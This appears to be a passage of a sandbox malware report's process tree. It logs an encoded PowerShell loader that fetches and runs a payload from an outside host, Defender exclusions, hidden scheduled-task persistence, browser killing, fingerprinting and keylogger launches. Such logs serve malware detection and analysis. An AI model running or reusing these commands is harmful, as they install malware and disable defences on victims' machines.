wBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker6⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy6⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:646⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:646⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:646⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force /target:computer6⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"6⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu4⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"2⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\d3e1876694df0448\ScreenConnect.ClientSetup.msi"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Isass.exe"C:\Users\Admin\AppData\Local\Temp\Files\Isass.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Isass.exe"C:\Users\Admin\AppData\Local\Temp\Files\Isass.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\grab.exe"C:\Users\Admin\AppData\Local\Temp\Files\grab.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\better.exe"C:\Users\Admin\AppData\Local\Temp\Files\better.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl api.ezilax.com3⤵
-
C:\Windows\system32\curl.execurl api.ezilax.com4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_Processor | Select-Object -ExpandProperty ProcessorId"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_BaseBoard | Select-Object -ExpandProperty SerialNumber"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo iznliznliznciznliAWliznljznliznciznliznliznliznl > C:\Windows\System32\hiv.dll3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c certutil -hashfile C:\Windows\System32\hiv.dll MD5 | find /v "hash" | find /v "MD5"3⤵
-
C:\Windows\system32\certutil.execertutil -hashfile C:\Windows\System32\hiv.dll MD54⤵
-
-
C:\Windows\system32\find.exefind /v "hash"4⤵
-
-
C:\Windows\system32\find.exefind /v "MD5"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_BaseBoard | Select-Object -ExpandProperty SerialNumber"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_Processor | Select-Object -ExpandProperty ProcessorId"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c echo iznliznliznciznliAWliznljznliznciznliznliznliznleLtmeLtBULuXioDGiouOi5== > C:\Windows\System32\covid.dll3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c certutil -hashfile C:\Windows\System32\covid.dll MD5 | find /v "hash" | find /v "MD5"3⤵
-
C:\Windows\system32\certutil.execertutil -hashfile C:\Windows\System32\covid.dll MD54⤵
-
-
C:\Windows\system32\find.exefind /v "hash"4⤵
-
-
C:\Windows\system32\find.exefind /v "MD5"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft /v RND /t REG_SZ /d rjiR6iJDQP >nul 2>nul3⤵
-
C:\Windows\system32\reg.exeREG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft /v RND /t REG_SZ /d rjiR6iJDQP4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd /c "timeout /t 4 /nobreak >nul & del delete.exe"3⤵
-
C:\Windows\system32\cmd.execmd /c "timeout /t 4 /nobreak >nul & del delete.exe"4⤵
-
C:\Windows\system32\timeout.exetimeout /t 4 /nobreak5⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd /c start better_new.exe3⤵
-
C:\Windows\system32\cmd.execmd /c start better_new.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\better_new.exebetter_new.exe5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl api.ezilax.com6⤵
-
C:\Windows\system32\curl.execurl api.ezilax.com7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_Processor | Select-Object -ExpandProperty ProcessorId"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "Get-WmiObject -Class Win32_BaseBoard | Select-Object -ExpandProperty SerialNumber"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c certutil -hashfile C:\Windows\System32\hiv.dll MD5 | find /v "hash" | find /v "MD5"6⤵
-
C:\Windows\system32\certutil.execertutil -hashfile C:\Windows\System32\hiv.dll MD57⤵
-
-
C:\Windows\system32\find.exefind /v "hash"7⤵
-
-
C:\Windows\system32\find.exefind /v "MD5"7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c certutil -hashfile C:\Windows\System32\covid.dll MD5 | find /v "hash" | find /v "MD5"6⤵
-
C:\Windows\system32\certutil.execertutil -hashfile C:\Windows\System32\covid.dll MD57⤵
-
-
C:\Windows\system32\find.exefind /v "hash"7⤵
-
-
C:\Windows\system32\find.exefind /v "MD5"7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls6⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls6⤵
-
-
C:\Windows\death.exeC:\Windows\death.exe C:\Windows\system32\cmd.exe /c cls6⤵
-
C:\Windows\mbr.exe"C:\Windows\mbr.exe"7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /Create /TN wininit /ru SYSTEM /SC ONSTART /TR "C:\Windows\mbr.exe"8⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Amus.exe"C:\Users\Admin\AppData\Local\Temp\Files\Amus.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\20030520.exe"C:\Users\Admin\AppData\Local\Temp\Files\20030520.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\setup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\housenetshare.exe"C:\Users\Admin\AppData\Local\Temp\Files\housenetshare.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ZinTask.exe"C:\Users\Admin\AppData\Local\Temp\Files\ZinTask.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4300 -s 2803⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\billi_e58d74e455634dc695ed8a7b8b320325.exe.dom_2.exe"C:\Users\Admin\AppData\Local\Temp\Files\billi_e58d74e455634dc695ed8a7b8b320325.exe.dom_2.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\evil.exe"C:\Users\Admin\AppData\Local\Temp\Files\evil.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\evil.exe"C:\Users\Admin\AppData\Local\Temp\Files\evil.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Silentum_Spoofer.exe"C:\Users\Admin\AppData\Local\Temp\Files\Silentum_Spoofer.exe"2⤵
-
C:\Users\Admin\AppData\Local\4bb2957d-2c86-4f27-81d9-8a38b0ca8f9c\background.exe"C:\Users\Admin\AppData\Local\4bb2957d-2c86-4f27-81d9-8a38b0ca8f9c\background.exe"3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu4⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu4⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu4⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu4⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Cloudy.exe"C:\Users\Admin\AppData\Local\Temp\Files\Cloudy.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe"C:\Users\Admin\AppData\Local\Temp\Files\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Users\Admin\AppData\Local\Temp\Files\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\process-injection.exe"C:\Users\Admin\AppData\Local\Temp\Files\process-injection.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe"C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\justpoc.exe"C:\Users\Admin\AppData\Local\Temp\Files\justpoc.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\OpenArk32.exe"C:\Users\Admin\AppData\Local\Temp\Files\OpenArk32.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Prolin.exe"C:\Users\Admin\AppData\Local\Temp\Files\Prolin.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Client-Built.exe"C:\Users\Admin\AppData\Local\Temp\Files\Client-Built.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\keylogger.exe"C:\Users\Admin\AppData\Local\Temp\Files\keylogger.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe"C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Obfuscated.exe"C:\Users\Admin\AppData\Local\Temp\Files\Obfuscated.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Obfuscated.exe"C:\Users\Admin\AppData\Local\Temp\Files\Obfuscated.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.exe"C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.new.exe"C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.new.exe" /update "C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.exe"C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.exe" /delete "C:\Users\Admin\AppData\Local\Temp\Files\[UPG]CSS.new.exe"4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\RuntimeBroker.exe"C:\Users\Admin\AppData\Local\Temp\Files\RuntimeBroker.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\BenzMonster.exe"C:\Users\Admin\AppData\Local\Temp\Files\BenzMonster.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\winsetaccess64.exe"C:\Users\Admin\AppData\Local\Temp\Files\winsetaccess64.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe"C:\Users\Admin\AppData\Local\Temp\Files\vnc.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1992.exe"C:\Users\Admin\AppData\Local\Temp\Files\1992.exe"2⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-fre --no-default-browser-check --no-first-run --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffb41f3c728,0x7ffb41f3c734,0x7ffb41f3c7404⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1604,i,13633814619198172683,8577237020579955411,262144 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1824,i,16865376038744225881,15356936632600986441,524288 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=2584 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --force-high-res-timeticks=disabled --metrics-shmem-handle=2012,i,4561987659773081426,16232186806156583061,524288 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=2624 /prefetch:134⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2812,i,13854476365320703391,9149664343933137242,2097152 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=2848 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2816,i,1964176077961855864,12302259541881069220,2097152 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=2868 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3136,i,2529837550729305036,12098557428521842967,2097152 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=3148 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3168,i,6392246552582024480,12298849400476352873,2097152 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:94⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=3844,i,5086414190669806476,12920966071914185232,2097152 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=3856 /prefetch:94⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\f12t1cbo.uuy" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4224,i,16114470302746779857,8760288574953114900,2097152 --field-trial-handle=2272,i,18417478667886891673,10871731868700200270,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:14⤵
-
-
